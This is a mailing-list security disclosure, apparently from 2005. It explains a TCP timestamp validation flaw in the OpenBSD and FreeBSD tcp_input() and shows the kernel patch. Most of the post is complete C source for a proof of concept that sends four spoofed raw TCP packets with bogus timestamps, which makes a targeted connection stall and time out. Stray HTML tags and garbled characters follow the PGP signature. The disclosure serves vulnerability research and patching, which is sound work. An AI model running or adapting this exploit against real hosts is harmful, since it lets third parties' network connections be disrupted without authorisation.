--GvXjxJ+pjyke8COw Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable /* * TCP does not adequately validate segments before updating timestamp value * http://www.kb.cert.org/vuls/id/637934 * * RFC-1323 (TCP Extensions for High Performance) * * 4.2.1 defines how the PAWS algorithm should drop packets with invalid * timestamp options: * =20 * R1) If there is a Timestamps option in the arriving segment * and SEG.TSval < TS.Recent and if TS.Recent is valid (see * later discussion), then treat the arriving segment as not * acceptable: * * Send an acknowledgement in reply as specified in * RFC-793 page 69 and drop the segment. * * 3.4 defines what timestamp options to accept: * * (2) If Last.ACK.sent falls within the range of sequence numbers * of an incoming segment: * * SEG.SEQ <=3D Last.ACK.sent < SEG.SEQ + SEG.LEN * * then the TSval from the segment is copied to TS.Recent; * otherwise, the TSval is ignored. * * http://community.roxen.com/developers/idocs/drafts/ * draft-jacobson-tsvwg-1323bis-00.html * * 3.4 suggests an slightly different check like * * (2) If: SEG.TSval >=3D TSrecent and SEG.SEQ <=3D Last.ACK.sent * then SEG.TSval is copied to TS.Recent; otherwise, it is * ignored. * * and explains this change * * APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323 * * There are additional changes in this document from RFC-1323. These * changes are: * (b) In RFC-1323, section 3.4, step (2) of the algorithm to control * which timestamp is echoed was incorrect in two regards: * (1) It failed to update TSrecent for a retransmitted segment * that resulted from a lost ACK. * (2) It failed if SEG.LEN =3D 0. * In the new algorithm, the case of SEG.TSval =3D TSrecent is * included for consistency with the PAWS test. * * At least OpenBSD and FreeBSD contain this code instead: * * sys/netinet/tcp_input.c tcp_input() * * ** * * If last ACK falls within this segment's sequence numbers, * * record its timestamp. * * NOTE that the test is modified according to the latest * * proposal of the tcplw@cray.com list (Braden 1993/04/26). * ** * if ((to.to_flags & TOF_TS) !=3D 0 && * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) { * tp->ts_recent_age =3D ticks; * tp->ts_recent =3D to.to_tsval; * } * * The problem here is that the packet the timestamp is accepted from doesn= 't * need to have a valid th_seq or th_ack. This point of execution is reached * for packets with arbitrary th_ack values and th_seq values of half the * possible value range, because the first 'if (todrop > tlen)' check in the * function explicitely continues execution to process ACKs. * * If an attacker knows (or guesses) the source and destination addresses a= nd * ports of a connection between two peers, he can send spoofed TCP packets * to either peer containing bogus timestamp options. Since half of the * possible th_seq and timestamp values are accepted, four packets containi= ng * two random values and their integer wraparound opposites are sufficient = to * get one random timestamp accepted by the receipient. Further packets from * the real peer will get dropped by PAWS, and the TCP connection stalls and * times out. * * The following change reverts the tcp_input() check back to the implement= ed * suggested by draft-jacobson-tsvwg-1323bis-00.txt * * if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) && * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) { * + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen + * + ((tiflags & (TH_SYN|TH_FIN)) !=3D 0))) * + tp->ts_recent =3D opti.ts_val; * + else * + tp->ts_recent =3D 0; * tp->ts_recent_age =3D tcp_now; * - tp->ts_recent =3D opti.ts_val; * } * * I can't find Braden's proposal referenced in the comment. It seems to * pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by * it. * * Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier * * http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\ * ?r1=3D1.184&r2=3D1.185&f=3Dh * * http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\ * ?r1=3D1.252.2.15&r2=3D1.252.2.16&f=3Dh * */ #include #include #include #include #ifdef __FreeBSD__ #include #endif #include #include #include #include #include static u_int16_t checksum(u_int16_t *data, u_int16_t length) { u_int32_t value =3D 0; u_int16_t i; for (i =3D 0; i < (length >> 1); ++i) value +=3D data[i]; if ((length & 1) =3D=3D 1) value +=3D (data[i] << 8); value =3D (value & 65535) + (value >> 16); return (~value); } static int send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport, u_int16_t dport, u_int32_t seq, u_int32_t ts) { u_char packet[1600]; struct tcphdr *tcp; struct ip *ip; unsigned char *opt; int optlen, len, r; struct sockaddr_in sin; memset(packet, 0, sizeof(packet)); opt =3D packet + sizeof(struct ip) + sizeof(struct tcphdr); optlen =3D 0; opt[optlen++] =3D TCPOPT_NOP; opt[optlen++] =3D TCPOPT_NOP; opt[optlen++] =3D TCPOPT_TIMESTAMP; opt[optlen++] =3D 10; ts =3D htonl(ts); memcpy(opt + optlen, &ts, sizeof(ts)); optlen +=3D sizeof(ts); ts =3D htonl(0); memcpy(opt + optlen, &ts, sizeof(ts)); optlen +=3D sizeof(ts); len =3D sizeof(struct ip) + sizeof(struct tcphdr) + optlen; ip =3D (struct ip *)packet; ip->ip_src.s_addr =3D saddr; ip->ip_dst.s_addr =3D daddr; ip->ip_p =3D IPPROTO_TCP; ip->ip_len =3D htons(sizeof(struct tcphdr) + optlen); tcp =3D (struct tcphdr *)(packet + sizeof(struct ip)); tcp->th_sport =3D htons(sport); tcp->th_dport =3D htons(dport); tcp->th_seq =3D htonl(seq); tcp->th_ack =3D 0; tcp->th_off =3D (sizeof(struct tcphdr) + optlen) / 4; tcp->th_flags =3D 0; tcp->th_win =3D htons(16384); tcp->th_sum =3D 0; tcp->th_urp =3D 0; tcp->th_sum =3D checksum((u_int16_t *)ip, len); ip->ip_v =3D 4; ip->ip_hl =3D 5; ip->ip_tos =3D 0; ip->ip_len =3D htons(len); ip->ip_id =3D htons(arc4random() % 65536); ip->ip_off =3D 0; ip->ip_ttl =3D 64; sin.sin_family =3D AF_INET; sin.sin_addr.s_addr =3D saddr; r =3D sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin)); if (r !=3D len) { perror("sendto"); return (1); } return (0); } static u_int32_t op(u_int32_t u) { return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL); } int main(int argc, char *argv[]) { u_int32_t saddr, daddr, seq, ts; u_int16_t sport, dport; int sock, i; if (argc !=3D 5) { fprintf(stderr, "usage: %s " " \n", argv[0]); return (1); } saddr =3D inet_addr(argv[1]); daddr =3D inet_addr(argv[3]); sport =3D atoi(argv[2]); dport =3D atoi(argv[4]); sock =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket"); return (1); } i =3D 1; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) =3D=3D -1) { perror("setsockopt"); close(sock); return (1); } seq =3D arc4random(); ts =3D arc4random(); if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) || send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) || send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) || send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) { fprintf(stderr, "failed\n"); close(sock); return (1); } close(sock); printf("done\n"); return (0); } --GvXjxJ+pjyke8COw Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (OpenBSD) iQCVAwUBQo9lytQ9cYxqOnQJAQJTnAP/R9O3ZrNlmSKWtkFPQP32ciIPAjYfSnkm btKNqB9KxzXT/GzNrhhjAPiVrYE6W17+XEyYu2bslkCtEP3bMBlTcPCioHOzYDoS Si0SBhqjiACpaCBYZ/gTcOkZ53upQakGTRCrqhKSfNNQgtQjohs5sJj2vtjQq1TO lngU9lNA94E= =9q4G -----END PGP SIGNATURE----- --GvXjxJ+pjyke8COw--
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß